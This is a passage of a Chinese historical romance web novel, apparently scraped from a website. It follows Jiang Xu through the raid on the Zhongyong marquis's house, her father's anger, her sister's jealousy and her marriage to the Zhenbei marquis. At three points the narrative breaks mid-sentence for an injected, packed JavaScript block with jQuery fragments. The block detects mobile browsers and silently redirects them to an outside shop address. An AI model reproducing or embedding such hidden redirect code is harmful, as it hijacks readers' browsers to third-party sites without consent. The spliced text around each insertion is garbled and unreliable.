    “属下亲自潜入忠勇侯府，亲眼撞见府上的账房先生慌慌张张往柴房里埋木盒，属下以为是他偷藏的什么金银珠宝呢，结果撬开一看，竟是两本泛黄的粮草账册，其中一本清清楚楚写着，克扣北疆军粮，通敌换金之事。你说巧不巧，这粮草之事，侯爷正没眉目呢，这忠勇……”


    提到“侯爷”二字，阿策突然想到了什么，猛地抿紧薄唇，眼底闪过一丝懊恼。


    “只需传话，不可多言。”


    侯爷的嘱咐言犹在耳，他却一时得意忘形，说错了话，忙求饶道：


    “求夫人保密，千万别说这事是属下说的。”


    姜絮会心一笑，回道：


    “那是自然。”


    只是她的笑容，藏着些许深意，掩映在一层一层黯淡的靛蓝暮色里。


    晚风渐凉，吹得发丝微乱，体力不支的姜絮在青荷的搀扶下，脚步走得歪歪斜斜。她望向远处，京城的轮廓在月色下逐渐清晰，守城卫士的火把在城头明明灭灭。


    几人步履不停，终于赶在城门关闭前回到城内。


    刚找了个茶寮坐下歇脚，气都还没喘匀，便听街边酒肆里已经炸开了锅，人人都在议论忠勇侯府被禁军包围，即将满门抄斩之事。


    只是越听越不对劲。


    “你说这好端端的忠勇侯府，怎么突然就被抄家了呢？”


    “听说是忠勇侯府治家不严，纵奴行凶，拦截诰命夫人车驾，又强抢圣上亲赐手谕。”


    “竟如此胆大包天！”


    “再胆大包天，也不过是家奴之错，没道理直接抄满门呐。忠勇侯府毕竟是个勋贵侯府，就因家奴拦截了一个诰命夫人就满门抄斩，有点说不过去了。”


    “不知是哪家的夫人？如此得圣上恩宠。”


    “不就是刚赐婚的镇北候夫人吗？”


    “前几天还满城风雨，说镇北候即将定罪，转眼就借夫人打了个翻身仗，敢情这夫人是吉星呢！”


    听到这番风言风语，姜絮被茶水呛得轻咳几声，眼神对着阿策发问：


    “怎么和你说的不一样？”


    阿策耸耸肩，微微摇头，表示他也不知道。


    姜絮又听了片刻，依旧一头雾水，似乎所有人都认定圣上是为了给她出气才抄了忠勇侯府满门，可事实并非如此啊。


    这圣上，脑子到底在想什么？


    姜絮顾不上思索，命阿策驾车直奔忠勇侯府。


    等姜絮赶到的时候，禁军已将忠勇侯府包围得水泄不通，府内抄家的吆喝声混着哭喊声此起彼伏。


    马车还未停稳，姜絮便踩着车辕下马，不顾青荷跟在身后的呼喊，直奔府门，却被守门禁军持枪拦下。


    她猛地亮出早已握在手心的鎏金鱼符，义正言辞道：


    “此乃圣上亲赐鱼符，何人敢拦？”


    鱼符在火把映照下溢着淡淡辉芒，几个拦门禁军面面相觑，无一人再敢阻拦，眼睁睁看着姜絮带着青荷冲进混乱的前院。


    前院的空地上，忠勇侯府人被禁军按着跪了一地。男丁埋着头被反剪着手，女眷攥着绣帕哭哭啼啼缩在角落，姜絮扫了一眼，并没有看见苏芸的身影，又在男丁中搜寻，直到她看见一个熟悉的面孔。


    那被打得鼻青脸肿，瘫在地上动弹不得的人，正是平日里最为嚣张的李径。


    “苏芸在哪？”姜絮居高临下睨着他。


    此时的李径脸上青一块紫一块，颧骨高高肿起，从眯成一条缝的眼睛中依稀辨认出来人，瞪时眼睛睁大，露出极为痛苦的神情，嘴里发出惨痛的哼哼声，半天说不出一句话，嘴角的口水混着血水淌了一地。


    从李径口中探不出风声，姜絮只能挨个挨个问：


    “有没有见到苏芸姑娘？”


    “有没有见到你们四姨娘？”


    “有没有见到一个十六七岁的姑娘？”


    姜絮挨着问了个遍，依旧问不出来，又见几个禁军风风火火地从后院出来，提着一个被打得满身伤痕的人，她拦住其中一个禁军，亮出鱼符，问道：


    “府上的姨娘妾室之类的女眷被关在哪？”


    “内院。”


    姜絮提脚便往内院赶，内院无人，但角门小院的院门被铁链锁着，里面隐约传来女子的哭泣声，


    姜絮扯着铁锁，从门缝里看进去，十几个女眷挤在廊下，侯府的姨娘们个个都哭红了眼，丫鬟仆妇们抱作一团瑟瑟发抖，哭泣声，怨骂声乱作一团，吵得人心烦。


    唯有梅树下一抹清幽倩影，脊背挺得笔直。


    她微微仰头，似在望着朗朗夜空，又似在望着屋顶的瓦檐。她的脸上没有半分泪痕，眉眼间透着一股漠然，仿佛周遭的哭嚎都与她无关。


    “苏芸姑娘——”姜絮扯着铁链，冲里面大喊。


    苏芸应声垂眸，眼神穿过院门，望向正透过门缝朝她呼喊的姜絮。


    她记得这个姑娘，她在栖云寺与她有过一面之缘。


    当时她就救了她一次。


    没想到今天，生死之际，她又出现在这里。


    苏芸三两步快步上前，半跪在门阶上，纤细的手腕从门缝里伸出去，稳稳地握住了姜絮伸过来的手。


    姜絮的手心冰凉，全是冷汗，却将她攥得极紧，紧到整个手都在发抖，说话声音都带着颤意：


    “苏芸姑娘。”姜絮急切喊道，另一只手从怀里掏出居士帖，隔着门缝递了进去，“这是你的居士帖，可保你一命。”


    苏芸指尖探到粗糙的纸面，随即紧紧攥在手心，感激的话没有说出口


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058376|194933||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，抬眼却见姜絮那双燃着微光的眼眸，以及在她身后，不知何时出现的一名陌生男子。


    姜絮察觉到苏芸瞳孔里的震惊，突然僵住，顺着苏芸的眼神，她正欲转身回头，冷不丁的，一道寒意擦着脖颈掠过，闪着寒光的刀刃骤然架在她的肩上，惊得她浑身止不住地颤抖，身后传来阴恻恻的笑声。


    “好大的胆子，竟敢当着本皇子的面，营救罪臣家眷。”


    皇子？


    忠勇侯府为何会来了个皇子？


    “你究竟是何人，报上名来？”


    刀刃抵着咽喉，质问间又擦着颈侧皮肉推进几分，姜絮被脖颈的刺痛吓得不敢动弹，未来得及言语，便又听得身后传来一声冷得淬冰的声音：


    “她是本侯的人。”


    声音一字一顿，带着慑人的威压。


    听着这声音，姜絮突然感觉自己的嘴唇幻痛了一下，脑海忽的闪过被他抵到廊柱上肆掠亲吻的画面。


    话音落下的瞬间，叶淮生也径直来到了姜絮身后，全然不顾那随时可能划破她脖颈的利剑，深手抱着姜絮的胳膊将她拎了起来，见她腿软得站不住，直接将她打横抱进怀里。


    力道沉稳，动作干脆，直到姜絮稳稳地落入怀中，叶淮生才极不情愿地抬眸看了眼二皇子，又垂眸望着怀中被吓得脸色苍白的姜絮，声音都故意放软了几分：


    “一眼没看住你，又闯祸了？”


    说罢，他才再次看向气得脸色铁青的二皇子，生硬地解释道：


    “内子性格跳脱，素来莽撞，若是有冲撞了二皇子的地方，本侯代她道歉。”


    嘴上说着道歉，语气里却半点歉意也无，反倒是有种默不作声的威压蔓延在二人之间。


    二皇子脸上青一阵白一阵，似是忍下了多大的怨气似的，最后勉强挤出一抹得体的笑容，调侃道：


    “镇北候夫人好胆量，这抄家的龙潭虎穴，竟也敢闯。”


    姜絮被叶淮生抱在怀里，不自觉地攥紧他的衣襟，胸膛的温热透过薄衫传到指尖，如同摸了火碳般灼人，她一时不知该把手放在哪里，只能握成拳头，放在胸口。


    方才颈间的刺痛与心头的慌乱，竟在这安稳的怀抱里悉数消散，她慢慢拾回些许底气，抬眸望向叶淮生，却见他下颌抿紧，眼神直视二皇子。


    那眼神平静得可怕，却又藏着利刃般的锋芒，似乎要一刀一刀将对方的血肉都剜掉。


    在对方挂不住的赔笑中，叶淮生径直抱着姜絮大步离去，将满院的喧嚣与怒火，尽数甩到身后。


    叶淮生就这么抱着姜絮出了侯府大门，一直到把她放上车辕，见她脚尖着地，他才松开手，动作间没了半点刚才伪装出来的温柔。


    他扶都懒得扶一下，语气冷硬地说道：


    “自己进去。”


    姜絮腿还软着，脚尖才沾到车辕，身上的力道骤然一松，她一个没站稳整个人摔了下车去，膝盖和手肘直直磕在青石板地上，疼得她低声惊呼，一股委屈的怒火直冲脑门。


    而叶淮生，斜倚着车厢，全程双手抱肩冷眼旁观，见她跌在地上半天爬不起来，眼皮都没抬一下，冷言嘲讽道：


    “威胁本侯的时候不是挺嚣张的吗？怎么？区区一个皇子就把你吓得腿都站不住了？”


    “你……”姜絮攥紧拳头，强撑着地面直起身子，忽然想起初见那日，叶淮生说过，他不喜欢主动送上门的女人，于是心生一计。


    姜絮咬着牙，心一横，顾不上膝盖手肘的疼，手脚并用地爬过去，一把抱住叶淮生的小腿，下巴死死抵着他的膝盖，抬眸泪眼婆娑地望着他，语气里带着几分刻意的娇嗔：


    “因为淮生哥哥跟他不一样！淮生哥哥是好人～”

 8. 遮羞

    叶淮生被她这番话腻得头皮发麻，耳根不受控制地红透，偏偏还要绷着一张冷脸，想抬脚甩开她，却又被她抱得死死的，一时之间进退两难，最后只能咬着后牙槽低声呵斥：


    “放开！”


    “不放！”姜絮死命箍着他的小腿，让他丝毫动弹不得，心里还盘算着，只要现在恶心他一时，之后他肯定会避她一世。


    “你要怎样才会放开？”叶淮生这辈子没说过这么妥协的话，握紧的拳头松了又紧，恨不得一拳砸在墙上。


    啊？还可以谈条件？


    姜絮立马来了主意，抱着他的腿晃得更凶了，说道：


    “除非你帮我救一个人。”


    又是这样。


    上次在侯府撒娇撒痴的，是为了威胁他，今天抱着腿撒泼打滚的，是为了求他救人。


    叶淮生垂眸睨她一眼，眼底涌起一丝微不可察的怒意，硬邦邦地说道：


    “这就是你求人的态度？”


    见此，姜絮立马撒手，还帮他擦了擦被她揉皱的衣角，而后双手撑地，挣扎着想站起来，奈何坐了太久，加上今天走了几里山路，此时的腿已经酸得站都站不起来了。


    她几次尝试站起都以失败告终，只能侧坐在原地，并没有打算再抱叶淮生的小腿恶心他，但这个侧身在地的假动作还是把叶淮生吓得一连后退几步。


    “你别动，你就在那里说，救谁？”叶淮生拂袖，故作镇定道。


    “哦。”姜絮应道，“苏芸姑娘，刚刚隔着门缝和我说话的那个姑娘。”


    叶淮生凝眉思索：有这么一个姑娘？


    他当时得了阿策的消息赶到忠勇侯府时，就只看到了姜絮半趴半跪在院门口，身后的二皇子正拿剑抵着她的喉，他一时气上心头，只顾着救她，完全没注意门缝里还有一人。


    姜絮见他陷入沉思，以为他想起了什么，问道：


    “你们是不是认识？”


    叶淮生眉头皱得更紧了，含怒问道：


    “何出此言？”


    “我听说她曾送了你一个荷包。”姜絮试探道，阿姐的消息，应该错不了。


    “胡说！”叶淮生否认，“本侯不曾收过任何女子的荷包！”


    “哦。”姜絮应道，“那就对了。”


    和阿姐说的对上了。


    对什么对？叶淮生看着姜絮一脸若有所思的样子就觉得怒从心头起，一时不知道自己是不是鬼迷了心窍才会答应圣上的赐婚。


    “走。”叶淮生命令道。


    “去哪？”


    “送你回家。”


    “可是我站不起来。”姜絮委屈道，见叶淮生眼中燃烧着熊熊怒火，赶忙解释：“我发誓，我这次真的没有骗你，我是真的着的，站不起来了。”


    叶淮生居高临下的望着她，原本充满怨气的眼神，在看见她可怜兮兮又倔强较真的解释时，忽然间怨气消散。


    那一瞬间，晚风恰好吹过，枝头探出院外的海棠在风中招摇，簌簌落下几朵粉白花瓣，落在她的发间。


    望着她皱着眉红着眼发誓的样子，他冷硬着的眉峰几不可察地松动了一瞬。


    他终于妥协，大步走过去，弯身捞她，指尖无意间擦过她的膝盖。她疼得“嘶”了一声，身子瞬间紧绷，在察觉到他动作里的不耐烦后，又皱着眉头忍着痛意一声不吭。


    他原本要骂出口的“娇气”，又硬生生咽了回去，手掌托着她的膝弯，避开膝盖的位置，一把将她打横抱起，动作生硬地将她抱进车厢，而后又坐在车辕的位置，为她驾马。


    可能是疯了吧，才会当她的车夫。


    他扬鞭策马，马车直奔尚书府。


    坐在车厢里的姜絮，悄悄掀开车帘，望着他冷硬的背影逐渐融入熙熙攘攘的人潮，集市上热闹的吆喝声此起彼伏，为他的周身的凌厉平添了一丝烟火气。


    她觉得，他并不像父亲说的那般不通人性。


    但她也不太敢跟他靠得太近，毕竟是必死之人。


    而听白天阿策所言，他似乎还没放弃，还在查案。


    算他运气好，偶然抓到了忠勇侯府的把柄。


    只是她想不通，好端端的，他怎么就开始查忠勇侯府了？


    而且，忠勇侯府这件事，怎么又算在她头上了？


    她有个大胆的猜测，但想了想，还是觉得不可能。


    -


    叶淮生把马车停在离尚书府大门一个拐弯的地方就离开了，不一会儿青荷就从大门口跑过来抱着姜絮，略带哭腔地说道：


    “二姑娘，我以为你被二皇子杀了。”


    青荷和姜絮一同进府，分头寻人，找了半天人没找到，甚至还把姜絮弄丢了，急着找禁军询问，禁军见她一个婢女，都不搭理她，直到有个好心的禁军说，看到二皇子把剑架在她脖子上。


    等青荷找到内院的时候，内院空无一人，又赶忙回尚书府报信。


    “老爷今天生了很大的气。”青荷提醒道，但她也看不明白，只是提前跟姜絮通个气，让她有个心理准备。


    自从进城后，听到满城的流言，姜絮便已作足了心理准备。


    父亲在朝中为官多年屹立不倒，一靠三代清流世家作背景，二靠从不结党营私。但是因为她，赐婚镇北候之事，让清流世家有了污点。


    今日，又是因为她，直接让姜家得罪了以忠勇侯府为核心的勋贵圈层。不管是无心还是有意，之后势必会有其他政党的同僚，或是拉拢，或是敌对。


    无论怎样，父亲在朝堂之路只会比从前走得更加艰难。


    在青荷的搀扶下，姜絮踉踉跄跄踏进前厅，正准备向端坐于太师椅上的父亲请安，却听得一声震耳欲聋的“跪下”。


    姜絮毫不含糊，“扑通”一声跪地，磨破皮的膝盖狠狠撞地，清晰的痛感传来，她没忍住“嘶”了一声，额头瞬间冒出了冷汗。


    一旁的青荷忙跟着跪地解释：


    “老爷，今日二姑娘遭贼人拦路，马车被毁，最后是走了五里的山路硬生生走回城的，她再这样跪下去，膝盖会受不了。”


    闻言，姜衡这才注意到姜絮略显凌乱的发髻，衣裳裙摆被勾破了好几处，绣鞋上也沾满了泥土，语气稍微放缓了些，骂道：


    “都是要出嫁的人了，怎么还这么不稳重？”


    “对不起，女儿知错。”姜絮强撑着力气回道。


    见姜絮认错态度诚恳，此事先按下不表，姜衡又问道：


    “你为何会跟忠勇侯府的人起冲突？”


    姜絮实在没有力气了，脑袋沉甸甸的，眼皮也快阖上，整个人就差直接在青石板地上睡着，但膝盖上的痛又钻心得疼，让她在极度疲倦下还能勉强保持清醒。


    “女儿不知。”姜絮回道。


    “你会不知？”姜衡声音陡然拔高，吓得一旁的青荷直哆嗦，把头埋得更低了。


    “你若不知，你怎会将他告到圣上那里去？你现在长本事了，还没嫁入侯府，就开始帮着侯府里的那位了？”


    姜絮跪在地上，听着父亲一字一句的冷言斥骂，却没听明白父亲这句“帮着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058377|194933||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    侯府里的那位”。


    “父亲何出此言？”


    她何曾帮过他，她与他不过才见了两面。


    第一面，他一柄长枪差点要了她的命。


    第二面，虽说他从二皇子手下救下了她，但就算他不救，她也会想办法脱身，何故反而因他弄得周身伤痕。


    “父亲说过，他是戴罪之身，女儿时刻谨记，万万不会帮他，想必这中间定有什么误会。”


    “误会！”姜衡轻“呵”一声，将手中卷册砸到地上，怒骂道：


    “你自己看看忠勇侯府之事的定论吧！”


    姜絮撑着酸痛的身子，无力地伸手去探那卷册，指尖隔着半尺的距离，却突然疼得眼前发黑，一瞬体力不支，重重磕在地上，疼得她一声闷哼。


    “二姑娘！”青荷跪着过去扶起姜絮。


    “帮我把卷册拿过来。”姜絮咬牙说道，冷汗顺着额角直往下淌。


    “不必了！”姜衡厉声打断，“原是那镇北候，不知怎的，突然查起了忠勇侯府，谁知竟查出忠勇侯贿赂了那光禄寺卿，采买陈粮掺了沙石充作军粮，致使镇北候军队断粮痛失一城，此等受财误国之罪，自当满门抄斩。”


    原来父亲知道，那为什么……


    憋屈的眼泪就快溢出眼眶，姜絮使劲眨了眨眼又压了回去，她仍半趴在地，只是将重量都卸到了青荷身上，才勉强有些力气，听姜衡继续说下去。


    “此等朝堂丑闻，圣上若直接彻查，便会被人议论，说他识人不明，有损天威；若是直接严惩，又没有理由足以服众。于是，镇北候便借着维护你的借口，将忠勇侯府纵奴行凶，抢你手谕意图谋逆之事呈到朝堂上去，让圣上有了惩治忠勇侯府的由头。”


    “虽然这由头稍显单薄，但是用来遮羞绰绰有余。”


    原来父亲什么都知道，却还要这般……


    原来所谓的圣上恩宠，不过是用来为朝堂腐败遮羞的借口。


    圣上担不得骂名，那她就担得此骂名吗？


    姜絮紧紧攥着袖口，指尖几乎要将绣纹碾平，心中翻涌的不甘与心酸，统统化作泪水从脸颊滑落，一滴一滴落到青石板地上，洇开淡淡水痕。


    见姜絮久久不愿抬头，背脊绷直，似驮着满腔怨愤，姜衡无奈地叹了口气，笃定道：


    “我知你向来低调，从不招惹是非，定是那镇北候强迫你配合他去找忠勇侯府麻烦。”


    “没有。”姜絮不知哪来的力气，当即否认，“他没有强迫我。”


    “难道你是自愿的？”姜衡逼问，语气慑人，吓得姜絮猛地僵住，完全没了辩解的勇气。


    整个姜府，上上下下，唯父亲是从，凡是他笃定的事，从来没有人能争赢过。


    姜絮不想做没有把握之事，也不想背这个锅，只是无力地摇了摇头，说不出一句话，任凭父亲误解她与那镇北候已经蛇鼠一窝。


    “怪不得。”姜衡又言，“今日那镇北候满面春风地过来下了聘礼，定了婚期，话里话外都对你十分满意，说三日后便要上门娶你。”


    三日后？


    姜絮一脸错愕，为何会如此之快？


    得赐圣上手谕那日，圣上明明曾承诺过她，她只需要想办法让镇北候接受赐婚即可，之后圣上会刻意拖着婚期，直到彻底查明镇北候通敌叛国的真相为止。


    那个时候他会下旨让婚约作废，她也可得自由。


    她也是得了这个承诺，才愿意入镇北候府，想方设法让他接受赐婚。


    如今为何又说三日后便要完婚？

 9. 不爱

    夜雨敲着青瓦，淅淅沥沥脆响，带着沁骨的凉，随着夜风漫进窗棂，与屋内浓重的药味、血腥味交织在一起。


    烛火昏黄，映得榻上之人脸色更显憔悴。


    卫珏半倚在榻上，左肩缠着厚厚的纱布，血渍从布帛渗出，在伤口处染成了红褐色，听见屋内的脚步声，他猛地睁眼，正要起身行礼，却被叶淮生按住。


    “别动。”叶淮生声音冷冽，藏着一丝隐隐的关切。


    “恢复得怎么样？”


    忠勇侯府已伏诛，卫珏的护送粮草失责之罪便算是洗清了冤屈，叶淮生特求圣上先行赦免卫珏出昭狱，至于其他受牵连的将士们，则待慢慢查清个中细节后，再逐一释放。


    “已无大碍。”卫珏回道，“只是夫人那边，委屈她担了那红颜祸水的污名。”


    叶淮生负手立于窗前，望着雨丝如帘，恍然想起了姜絮将脖颈衣襟拉开，用卫珏的狼牙令威胁他的样子。


    她生得那般娇小，又被他亲的站都站不稳，威胁他的时候，眼神里带着一股不肯低头的倔强。


    他阖上眼眸，喉咙发涩，哑声说道：


    “无妨，她骨头硬。”


    卫珏被这个回复呛得干咳几声，但也没否认，那般温婉纤细的姑娘，竟敢亲下昭狱，确实是骨头很硬了。


    “那是因为夫人对侯爷用情至深。”卫珏解释道。


    话音刚落，房间里的空气瞬间就凝固了。


    叶淮生缓缓转过身，眼底骤然闪过一抹冷光，带着刺骨的寒意，落在卫珏身上。


    只一个眼神，卫珏便被吓得大气都不敢喘一口，忙垂下眼眸，不敢与之对视，仓促之间，扯得伤口发疼却哼也不敢哼一声。


    恰在此时，阿策在屋外求见。


    门被推开，一股冷风灌了进来，阿策瞧见榻上面色惨淡的卫珏，还以为是风的缘故，忙把门关上，而后才抱拳行礼：


    “侯爷。”得了叶淮生的眼神示意，阿策继续说道：


    “夫人被罚祠堂思过，三天不准出门。”


    这姜老头，倒是精得很。


    想必是知道了她被追杀之事，借着惩罚的由头，将她留在府里，护她周全。


    今日朝堂对峙之时，他也是这般护着她，在圣上面前力证自己的女儿素来行事低调，不惹事端，还望圣上详查。


    只是天子威仪，要的本就不是事实，而是态度。


    忠勇侯府牵扯光禄寺卿，光禄寺卿是从户部拨款采买，若细查下来，他这个户部尚书自然需要担责，圣上此时将他的女儿抬出来，就是想看他的态度。


    若是执意护女，便是误国同党。


    若是舍女担责，便是忠君为国。


    他一时两难，难以定夺，叶淮生站了出来，说道：


    “圣上，姜二姑娘是微臣即将过门的夫人，微臣与她自是恩爱，她的所作所为，微臣一清二楚，并无异议。”


    叶淮生清楚，既然惩了那忠勇侯，那便要放了含冤的镇北候的人，这样一来，镇北候得了部分势，大有东山再起之意。


    圣上怎可让他如此轻易回归。


    所以，他必须担一个冲冠一怒为红颜的悍将名头，她也必须是红颜祸水，而姜衡也必须坐实他女儿与忠勇侯府的过节。


    唯有这样，才能让多疑的圣上心安。


    从他对他女儿的惩罚来看，他似乎理解到了这点，略是惩戒给外人看。


    “这样也好。”叶淮生回道。


    “有一点不好。”阿策说道，“夫人好像被气晕过去了，属下在房梁上看见她瘫在地上，她的丫鬟摇着着她的肩膀哭喊，后面府医也来了。”


    再后来，姜絮被抬回了闺房，阿策没再跟着监视。


    “需不需要属下再去尚书府打探一下？”


    “不必。”叶淮生的声音冷得像冰，“她死不了。”


    说完，他转身离去。


    春雨绵绵，落在他的发稍，濡湿一片，似撒了银屑般闪着细碎的光。


    他走在雨里，背脊挺得笔直，风裹着雨丝卷起他的衣襟，让他心头莫名烦躁。


    -


    姜絮一直昏迷到第二天过了晌午才慢慢苏醒过来，府医说她只是累到极致需要休息，但姜若雪却认定她是被三日后便要成婚的消息吓到昏厥，于是亲手做了桂圆红枣莲子羹过来探望姜絮。


    姜絮卧在塌上，眉毛微拧，略带歉意地说道：


    “阿姐，我对不起你，明明圣上答应了我会一直拖到定罪或者洗冤的那一刻，我不知道事情为什么突然变成了这样。”


    姜若雪帮姜絮掖了掖锦被，说着“昨夜下了雨，别着凉了”，而后才回道：


    “无妨，本来赐了婚，便是要嫁人的，早嫁晚嫁，都一样。”


    姜若雪装着若无其事的样子，但隔着锦被，姜絮还是感受到了她指尖的颤抖，轻声喊了句“阿姐……”


    姜若雪没有理她，自顾自地端起莲子羹，拈着汤匙，在碗里轻轻搅动着，说道：


    “这结了婚呢，便要同夫君培养感情，要为他生儿育女，还要为他……”


    “阿姐……”姜絮推开她递过来的莲子羹，坚定地说道：“他是阿姐喜欢的人，我不会同他培养感情。”


    “可是他会！”姜若雪的声音陡然拔高，连门外路过的丫鬟仆妇都听到了，好奇地打量着二姑娘的闺房。


    “全京城都在传，说他镇北候冲冠一怒为红颜，说他就因为你受了点委屈，便抄了忠勇侯府满门。”姜若雪压着声音咬牙切齿，眼底灼烧着近乎疯狂的嫉妒：


    “他们都说他爱惨了你。”


    姜絮从未见过如此可怕的姜若雪，无助地摇头，辩解道：


    “阿姐你误会了……”


    说着，姜絮掀开锦被，将裤腿轻轻往上一撩，露出膝盖那片几乎磨掉一层皮的擦伤，红肿发紫的伤口还未结痂，伤口的边缘皮肉翻卷，稍微动动都扯着疼。


    “昨日我从马车上跌下来，就跌在他面前，他连手都没伸一下，还嘲笑我被吓得腿都软了。”


    姜絮又将手肘处的伤口撩开：


    “你说这样的人爱惨了我，我万万不信。”


    姜若雪的目光落到姜絮刺眼的伤口上，恢复些许理智：


    “那那些人……”


    “都是流言。”姜絮抓着姜若雪的手放进自己掌心，安抚道：


    “京城那些人，最喜欢传流言了。”


    “那你呢


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058378|194933||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ？当真不爱他？”


    “不爱。”姜絮斩钉截铁。


    他害她背上红颜祸水的骂名，他害她爹爹罚她跪祠堂，还害她阿姐差点与她反目，这样的人，如何谈爱呢？


    而且，如果动情之人都如她阿姐这般癫狂到失去自我，那又有什么意义？


    倒不如像苏芸那般，长伴青灯古佛，清净自在。


    也不知苏芸有没有被救出来。


    “对了阿姐，我有东西要给你。”姜絮从枕头下摸出一本线装小册，递给姜若雪，“这是阿姐最珍视的东西，我不能要。”


    那日青荷出现得太突然，姜若雪眼疾手快将册子强行塞到了姜絮怀里。


    姜絮留了这么多天，总算有机会还给姜若雪。


    “可是……”姜若雪犹豫着，想拿回来，可又想让姜絮照着册子去拉拢叶淮生，好获取叶淮生的信任，日后帮他沉冤昭雪。


    “放心吧阿姐。”姜絮将姜若雪摊开的手指卷起，将册子牢牢卷进姜若雪的掌心，眨了眨眼：


    “我都抄下来了～”


    -


    姜若雪走了之后没多久，姜絮恢复了些力气，想起父亲昨日的惩罚，便忍着膝盖上的痛，乖乖跑去跪祠堂。


    祠堂里点着一排长明灯，烛光映着“先妣柳氏之位”的牌位。


    姜絮跪在蒲团上，望着娘亲的牌位，仿佛看到了昔日娘亲宠溺的笑容。


    印象里，娘亲与父亲十分相爱。每年春秋，父亲不管多忙，都会带着娘亲和自己去护城河畔放风筝，街上的人见了，都说他们二人是神仙眷侣，羡煞旁人。


    再恩爱又如何呢？


    娘亲去世的这十年间，父亲整日忙于政务，完全忘了这事，再也没有带她放过一次风筝，连昔日对她的偏爱都逐渐转移到了姜若雪身上。


    她并不嫉妒姜若雪可以得到父亲的偏爱，她只是接受不了落差。


    她有时候甚至觉得，记忆里小时候的父亲，只是她做的一场梦。


    父亲并没有爱过娘亲，更不爱她。


    她为娘亲感到不值。


    如今她即将走上娘亲当时的路。


    再过一天，她就要嫁入镇北候府。


    她很好奇，母亲嫁入姜府的时候，心里是什么感受。


    如果她提前知道嫁入姜府后会是这样的结局，她还会选择嫁进来吗？


    一想到此，姜絮心头泛酸，眼泪就这么毫无征兆地流了出来，顺着下颌，一滴一滴砸在蒲团上。


    她死死咬着嘴唇，不让自己哭出声，任由泪水模糊眼眶。


    正在这时，门口响起一阵细碎的脚步声，姜絮胡乱抹了把眼泪，腰杆挺得笔直，吸了吸鼻子，平复下心情，不能让父亲瞧出异样。


    眼角泪花未干，她又听见门口传来轻叩门框的声音。


    连三空一。


    连续敲三下，而后空一下，再敲一下。


    这是她与青荷约定的暗号。


    “二姑娘……”


    青荷的声音微弱蚊蚋，姜絮不敢回头，只是稍微侧身，竖起耳朵听。


    “侯爷让我传话。”


    说完，青荷往姜絮的方向扔了团字条，轻轻咳嗽一声，提醒姜絮去捡。

 10. 结缘

    姜絮不想和他再有什么牵扯，装作没听到，一动不动跪坐蒲团。


    屋外的青荷以为她没听见，一连叫了四五声“二姑娘”。


    姜絮无奈，按着膝盖站起身，踉跄几步过去捡起纸团。


    “苏芸无恙。”


    勉强算个好消息，姜絮的嘴角漾开一抹浅浅的微笑，她没事就好。


    没想到他办事速度还挺快。


    哪里像个什么被软禁戴罪在家的侯爷。


    昨日与二皇子对峙，她被吓得整个人止不住颤抖，而他却像眼里完全没这人一样，抱起她就走，愣是一点面子都不留。


    当真不怕掉脑袋么？


    姜絮从怀里掏出册子翻阅笔记，她记得姜若雪写过关于他的一句话。


    “反正也死不了，怕什么？”


    姜絮甚至能想象他说这句话时的神情：


    眼眸微睁，眼尾斜斜挑起，眸中翻涌着毫不掩饰的不屑，仿佛被他眼前之人不过是只碍眼的蝼蚁。


    就如同那日被他抵在廊柱上，他望向她时的眼神一般：


    “反正你也还不了手，欺你又如何？”


    当日的屈辱再次漫上心头，又想起因他而背的红颜祸水的污名，沉寂许久的怒火又开始灼烧：


    既然圣上定不了他的罪，那她便亲自去抓他的把柄定他的罪！


    -


    姜絮一直跪到出嫁当天才被放出祠堂，被丫鬟仆妇一阵拾掇盖上盖头，在暮色漫过尚书府的漆红大门的时候，由姜若雪牵着走向她的命运。


    喜婆跟在一旁，帮姜絮撩起裙摆，提醒她注意避开门槛，嘴里念着些吉祥的话语。


    因叶淮生戴罪之身，婚礼仪式一切从简，喇叭唢呐一并取消，只姜家的一些世家亲族捧场，周遭一些零零碎碎的祝福声与议论声，勉强还算热闹。


    迎亲队伍停在巷子口。


    说是队伍，叶淮生其实只带了阿策和卫珏，两个人，一辆马车，便已足矣。


    叶淮生没有穿喜服，只一身墨色劲装，勾勒出他挺拔利落的身形，长发被一根猩红发带高高扎起，系带的末梢随风飘晃，在日渐暗淡的暮色里撞出一抹刺眼的鲜红，算是为这场迎亲沾了点喜气。


    他轻握缰绳，稳坐马背，肩脊挺得笔直，眉眼稍显冷冽，脸上没有半点成婚的喜悦，反倒像一柄收剑入鞘的利刃，看着寒芒尽敛，却依旧藏着隐隐蛰伏的危险。


